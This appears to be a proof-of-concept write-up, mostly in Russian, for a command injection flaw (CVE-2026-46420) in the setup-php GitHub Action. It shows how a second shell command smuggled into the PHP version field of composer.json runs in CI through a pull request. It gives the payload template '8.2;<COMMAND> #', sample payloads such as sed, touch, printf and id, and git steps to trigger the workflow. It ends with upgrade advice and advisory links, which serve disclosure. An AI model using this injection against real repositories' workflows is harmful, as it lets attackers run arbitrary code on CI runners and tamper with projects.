
PoC for CVE-2026-46420, command injection in shivammathur/setup-php via repository-controlled PHP version resolution.
Инъекция команд в shivammathur/setup-php, когда версия PHP загружается из файлов, контролируемых репозиторием.
Затронуто:
>= 2.25.0, < 2.37.1
Исправлено:
>= 2.37.1
В целевом репозитории уже есть уязвимый workflow, который извлекает содержимое pull request и запускает [email protected].
Атакующий изменяет только composer.json.
-"php": "8.2"
+"php": [
+ "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]
Когда setup-php считывает версию PHP из composer.json, внедрённая команда включается в сгенерированный shell-скрипт и выполняется.
Результат:
-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc
Создайте ветку из целевого репозитория:
git checkout -b poc-test
Замените чистый composer.json на версию PoC:
cp attacker/composer.json composer.json
Зафиксируйте изменения и отправьте:
git add composer.json
git commit -m "update composer config"
git push -u origin poc-test
Откройте pull request из ветки poc-test в ветку main.
Запуск Actions должен показать, что demo-app/.env.example был изменён на шаге setup-php.
Формат полезной нагрузки:
8.2;<COMMAND> #
Текущая полезная нагрузка:
8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #
Выполняемая команда:
sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example
Чтобы изменить действие PoC, замените команду между 8.2; и #.
Создать файл:
8.2;touch poc-executed #
Записать в файл:
8.2;printf 'poc executed\n' > poc-result.txt #
Вывести результат команды:
8.2;id #
Пример composer.json:
{
"config": {
"platform": {
"php": [
"8.2;touch poc-executed #"
]
}
}
}
Обновитесь до [email protected] или новее.
Та же полезная нагрузка отклоняется на исправленной версии.
https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r
https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b